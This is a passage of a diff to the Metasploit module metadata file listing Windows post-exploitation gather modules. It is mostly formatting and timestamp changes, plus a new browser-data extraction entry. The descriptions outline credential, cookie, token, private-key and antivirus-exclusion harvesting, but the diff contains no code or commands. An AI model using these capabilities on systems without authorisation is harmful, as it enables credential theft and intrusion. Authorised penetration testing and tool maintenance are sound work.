"post/windows/gather/enum_av", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275089,9 +277051,7 @@ "rageltman " ], "description": "This module will enumerate the AV products detected by WMIC", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275109,28 +277069,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_av_excluded": { "name": "Windows Antivirus Exclusions Enumeration", "fullname": "post/windows/gather/enum_av_excluded", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275139,16 +277091,14 @@ "Jon Hart " ], "description": "This module will enumerate the file, directory, process and\n extension-based exclusions from supported AV products, which\n currently includes Microsoft Defender, Microsoft Security\n Essentials/Antimalware, and Symantec Endpoint Protection.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_av_excluded.rb", "is_install_path": true, "ref_name": "windows/gather/enum_av_excluded", @@ -275156,21 +277106,63 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_windows/gather/enum_browsers": { + "name": "Advanced Browser Data Extraction for Chromium and Gecko Browsers", + "fullname": "post/windows/gather/enum_browsers", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Alexander \"xaitax\" Hagenah" + ], + "description": "This post-exploitation module extracts sensitive browser data from both Chromium-based and Gecko-based browsers\n on the target system. It supports the decryption of passwords and cookies using Windows Data Protection API (DPAPI)\n and can extract additional data such as browsing history, keyword search history, download history, autofill data,\n credit card information, browser cache and installed extensions.", + "references": [], + "platform": "Windows", + "arch": "x64, x86", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2024-10-30 15:43:02 +0000", + "path": "/modules/post/windows/gather/enum_browsers.rb", + "is_install_path": true, + "ref_name": "windows/gather/enum_browsers", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [] }, "post_windows/gather/enum_chocolatey_applications": { "name": "Windows Gather Installed Application Within Chocolatey Enumeration", "fullname": "post/windows/gather/enum_chocolatey_applications", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275178,16 +277170,14 @@ "Nick Cottrell " ], "description": "This module will enumerate all installed applications on a Windows system with chocolatey installed", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-04-01 10:56:11 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/windows/gather/enum_chocolatey_applications.rb", "is_install_path": true, "ref_name": "windows/gather/enum_chocolatey_applications", @@ -275201,25 +277191,19 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_chrome": { "name": "Windows Gather Google Chrome User Data Enumeration", "fullname": "post/windows/gather/enum_chrome", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275230,16 +277214,14 @@ "mubix " ], "description": "This module will collect user data from Google Chrome and attempt to decrypt\n sensitive information.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 15:43:02 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_chrome.rb", "is_install_path": true, "ref_name": "windows/gather/enum_chrome", @@ -275247,21 +277229,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_computers": { "name": "Windows Gather Enumerate Computers", "fullname": "post/windows/gather/enum_computers", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275269,16 +277252,14 @@ "Joshua Abraham " ], "description": "This module will enumerate computers included in the primary Active Directory domain.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-10-12 10:59:29 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/windows/gather/enum_computers.rb", "is_install_path": true, "ref_name": "windows/gather/enum_computers", @@ -275289,12 +277270,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -275302,16 +277279,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_db": { "name": "Windows Gather Database Instance Enumeration", "fullname": "post/windows/gather/enum_db", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275319,17 +277292,15 @@ "Barry Shteiman ", "juan vazquez " ], - "description": "This module will enumerate a windows system for installed database instances", - "references": [ - - ], + "description": "This module will enumerate a Windows system for installed database instances.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_db.rb", "is_install_path": true, "ref_name": "windows/gather/enum_db", @@ -275337,21 +277308,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_devices": { "name": "Windows Gather Hardware Enumeration", "fullname": "post/windows/gather/enum_devices", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275359,16 +277331,14 @@ "Brandon Perry " ], "description": "Enumerate PCI hardware information from the registry. Please note this script\n will run through registry subkeys such as: 'PCI', 'ACPI', 'ACPI_HAL', 'FDC', 'HID',\n 'HTREE', 'IDE', 'ISAPNP', 'LEGACY'', LPTENUM', 'PCIIDE', 'SCSI', 'STORAGE', 'SW',\n and 'USB'; it will take time to finish. It is recommended to run this module as a\n background job.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_devices.rb", "is_install_path": true, "ref_name": "windows/gather/enum_devices", @@ -275376,21 +277346,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_dirperms": { "name": "Windows Gather Directory Permissions Enumeration", "fullname": "post/windows/gather/enum_dirperms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275400,16 +277371,14 @@ "sinn3r " ], "description": "This module enumerates directories and lists the permissions set\n on found directories. Please note: if the PATH option isn't specified,\n then the module will start enumerate whatever is in the target machine's\n %PATH% variable.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_dirperms.rb", "is_install_path": true, "ref_name": "windows/gather/enum_dirperms", @@ -275417,21 +277386,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_domain": { "name": "Windows Gather Enumerate Domain", "fullname": "post/windows/gather/enum_domain", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275439,9 +277409,7 @@ "Joshua Abraham " ], "description": "This module identifies the primary Active Directory domain name\n and domain controller.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275459,12 +277427,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -275472,16 +277436,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_domain_group_users": { "name": "Windows Gather Enumerate Domain Group", "fullname": "post/windows/gather/enum_domain_group_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275490,9 +277450,7 @@ "Stephen Haywood " ], "description": "This module extracts user accounts from the specified domain group\n and stores the results in the loot. It will also verify if session\n account is in the group. Data is stored in loot in a format that\n is compatible with the token_hunter plugin. This module must be\n run on a session running as a domain user.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275510,27 +277468,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_domain_tokens": { "name": "Windows Gather Enumerate Domain Tokens", "fullname": "post/windows/gather/enum_domain_tokens", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275538,9 +277488,7 @@ "Carlos Perez " ], "description": "This module enumerates domain account tokens, processes running under\n domain accounts, and domain users in the local Administrators, Users\n and Backup Operator groups.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275558,27 +277506,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_domain_users": { "name": "Windows Gather Enumerate Active Domain Users", "fullname": "post/windows/gather/enum_domain_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275587,16 +277527,14 @@ "Ben Campbell " ], "description": "This module will enumerate computers included in the primary Domain and attempt\n to list all locations the targeted user has sessions on. If the HOST option is specified\n the module will target only that host. If the HOST is specified and USER is set to nil, all users\n logged into that host will be returned.'", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_domain_users.rb", "is_install_path": true, "ref_name": "windows/gather/enum_domain_users", @@ -275604,38 +277542,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_domains": { "name": "Windows Gather Domain Enumeration", "fullname": "post/windows/gather/enum_domains", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "mubix " ], - "description": "This module enumerates currently the domains a host can see and the domain\n controllers for that domain.", - "references": [ - - ], + "description": "This module enumerates currently the domains a host can see and the domain\n controllers for each domain.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/windows/gather/enum_domains.rb", "is_install_path": true, "ref_name": "windows/gather/enum_domains", @@ -275643,21 +277580,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_emet": { "name": "Windows Gather EMET Protected Paths", "fullname": "post/windows/gather/enum_emet", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275665,16 +277603,14 @@ "vysec " ], "description": "This module will enumerate the EMET protected paths on the target host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_emet.rb", "is_install_path": true, "ref_name": "windows/gather/enum_emet", @@ -275682,21 +277618,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_files": { "name": "Windows Gather Generic File Collection", "fullname": "post/windows/gather/enum_files", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275705,16 +277642,14 @@ "RageLtMan " ], "description": "This module downloads files recursively based on the FILE_GLOBS option.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_files.rb", "is_install_path": true, "ref_name": "windows/gather/enum_files", @@ -275722,21 +277657,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_hostfile": { "name": "Windows Gather Windows Host File Enumeration", "fullname": "post/windows/gather/enum_hostfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275744,16 +277680,14 @@ "vt " ], "description": "This module returns a list of entries in the target system's hosts file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-10-11 17:44:21 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_hostfile.rb", "is_install_path": true, "ref_name": "windows/gather/enum_hostfile", @@ -275761,22 +277695,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_hyperv_vms": { "name": "Windows Hyper-V VM Enumeration", "fullname": "post/windows/gather/enum_hyperv_vms", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275784,9 +277719,7 @@ "gwillcox-r7" ], "description": "This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all\n of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275804,27 +277737,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ie": { "name": "Windows Gather Internet Explorer User Data Enumeration", "fullname": "post/windows/gather/enum_ie", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275832,16 +277757,14 @@ "Kx499" ], "description": "This module will collect history, cookies, and credentials (from either HTTP\n auth passwords, or saved form passwords found in auto-complete) in\n Internet Explorer. The ability to gather credentials is only supported\n for versions of IE >=7, while history and cookies can be extracted for all\n versions.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/post/windows/gather/enum_ie.rb", "is_install_path": true, "ref_name": "windows/gather/enum_ie", @@ -275849,21 +277772,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_logged_on_users": { "name": "Windows Gather Logged On User Enumeration (Registry)", "fullname": "post/windows/gather/enum_logged_on_users", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275871,9 +277795,7 @@ "Carlos Perez " ], "description": "This module will enumerate current and recently logged on Windows users.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275891,12 +277813,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "powershell", @@ -275904,16 +277822,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_ms_product_keys": { "name": "Windows Gather Product Key", "fullname": "post/windows/gather/enum_ms_product_keys", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275921,9 +277835,7 @@ "Brandon Perry " ], "description": "This module will enumerate Microsoft product license keys.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -275941,12 +277853,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -275954,16 +277862,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_muicache": { "name": "Windows Gather Enum User MUICache", "fullname": "post/windows/gather/enum_muicache", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -275971,16 +277875,14 @@ "TJ Glad " ], "description": "This module gathers information about the files and file paths that logged on users have\n executed on the system. It also will check if the file still exists on the system. This\n information is gathered by using information stored under the MUICache registry key. If\n the user is logged in when the module is executed it will collect the MUICache entries\n by accessing the registry directly. If the user is not logged in the module will download\n users registry hive NTUSER.DAT/UsrClass.dat from the system and the MUICache contents are\n parsed from the downloaded hive.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_muicache.rb", "is_install_path": true, "ref_name": "windows/gather/enum_muicache", @@ -275988,21 +277890,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_onedrive": { "name": "OneDrive Sync Provider Enumeration Module", "fullname": "post/windows/gather/enum_onedrive", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276010,9 +277911,7 @@ "Stuart Morgan " ], "description": "This module will identify the Office 365 OneDrive endpoints for both business and personal accounts\n across all users (providing access is permitted). It is useful for identifying document libraries\n that may otherwise not be obvious which could contain sensitive or useful information.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276033,24 +277932,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_patches": { "name": "Windows Gather Applied Patches", "fullname": "post/windows/gather/enum_patches", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276079,27 +277972,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_powershell_env": { "name": "Windows Gather PowerShell Environment Setting Enumeration", "fullname": "post/windows/gather/enum_powershell_env", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276128,12 +278013,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -276141,16 +278022,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_prefetch": { "name": "Windows Gather Prefetch File Information", "fullname": "post/windows/gather/enum_prefetch", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276158,16 +278035,14 @@ "TJ Glad " ], "description": "This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems\n and current values of related registry keys. From each prefetch file we'll collect\n filetime (converted to utc) of the last execution, file path hash, run count, filename\n and the execution path.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_prefetch.rb", "is_install_path": true, "ref_name": "windows/gather/enum_prefetch", @@ -276175,21 +278050,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_proxy": { "name": "Windows Gather Proxy Setting", "fullname": "post/windows/gather/enum_proxy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276197,9 +278071,7 @@ "mubix " ], "description": "This module pulls a user's proxy settings. If neither RHOST or SID\n are set it pulls the current user, else it will pull the user's settings\n for the specified SID and target host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276217,12 +278089,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -276230,16 +278098,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_putty_saved_sessions": { "name": "PuTTY Saved Sessions Enumeration Module", "fullname": "post/windows/gather/enum_putty_saved_sessions", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276247,16 +278111,14 @@ "Stuart Morgan " ], "description": "This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session\n information from the registry. PuTTY is very configurable; some users may have configured\n saved sessions which could include a username, private key file to use when authenticating,\n host name etc. If a private key is configured, an attempt will be made to download and store\n it in loot. It will also record the SSH host keys which have been stored. These will be connections that\n the user has previously after accepting the host SSH fingerprint and therefore are of particular\n interest if they are within scope of a penetration test.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_putty_saved_sessions.rb", "is_install_path": true, "ref_name": "windows/gather/enum_putty_saved_sessions", @@ -276264,21 +278126,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_services": { "name": "Windows Gather Service Info Enumeration", "fullname": "post/windows/gather/enum_services", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276287,9 +278150,7 @@ "Kx499" ], "description": "This module will query the system for services and display name and\n configuration info for each returned service. It allows you to\n optionally search the credentials, path, or start type for a string\n and only return the results that match. These query operations are\n cumulative and if no query strings are specified, it just returns all\n services. NOTE: If the script hangs, windows firewall is most likely\n on and you did not migrate to a safe process (explorer.exe for\n example).", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276307,12 +278168,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -276320,16 +278177,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_shares": { "name": "Windows Gather SMB Share Enumeration via Registry", "fullname": "post/windows/gather/enum_shares", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276337,9 +278190,7 @@ "Carlos Perez " ], "description": "This module will enumerate configured and recently used file shares.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -276357,12 +278208,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", @@ -276370,16 +278217,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_snmp": { "name": "Windows Gather SNMP Settings", "fullname": "post/windows/gather/enum_snmp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276409,12 +278252,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", @@ -276422,33 +278261,27 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_termserv": { "name": "Windows Gather Terminal Server Client Connection Information Dumper", "fullname": "post/windows/gather/enum_termserv", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "mubix " ], - "description": "This module dumps MRU and connection data for RDP sessions", - "references": [ - - ], + "description": "This module dumps MRU and connection data for RDP sessions.", + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_termserv.rb", "is_install_path": true, "ref_name": "windows/gather/enum_termserv", @@ -276456,21 +278289,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_tokens": { "name": "Windows Gather Enumerate Domain Admin Tokens (Token Hunter)", "fullname": "post/windows/gather/enum_tokens", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276478,16 +278312,14 @@ "Joshua Abraham " ], "description": "This module enumerates Domain Admin account processes and delegation tokens.\n\n This module will first check if the session has sufficient privileges\n to replace process level tokens and adjust process quotas.\n\n The SeAssignPrimaryTokenPrivilege privilege will not be assigned if\n the session has been elevated to SYSTEM. In that case try first\n migrating to another process that is running as SYSTEM.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:04:24 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/windows/gather/enum_tokens.rb", "is_install_path": true, "ref_name": "windows/gather/enum_tokens", @@ -276498,27 +278330,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_tomcat": { "name": "Windows Gather Apache Tomcat Enumeration", "fullname": "post/windows/gather/enum_tomcat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -276526,16 +278350,14 @@ "Barry Shteiman " ], "description": "This module will collect information from a Windows-based Apache Tomcat. You will get\n information such as: The installation path, Tomcat version, port, web applications,\n users, passwords, roles, etc.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 11:23:07 +0000", "path": "/modules/post/windows/gather/enum_tomcat.rb", "is_install_path": true, "ref_name": "windows/gather/enum_tomcat", @@ -276543,21 +278365,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/enum_trusted_locations": { 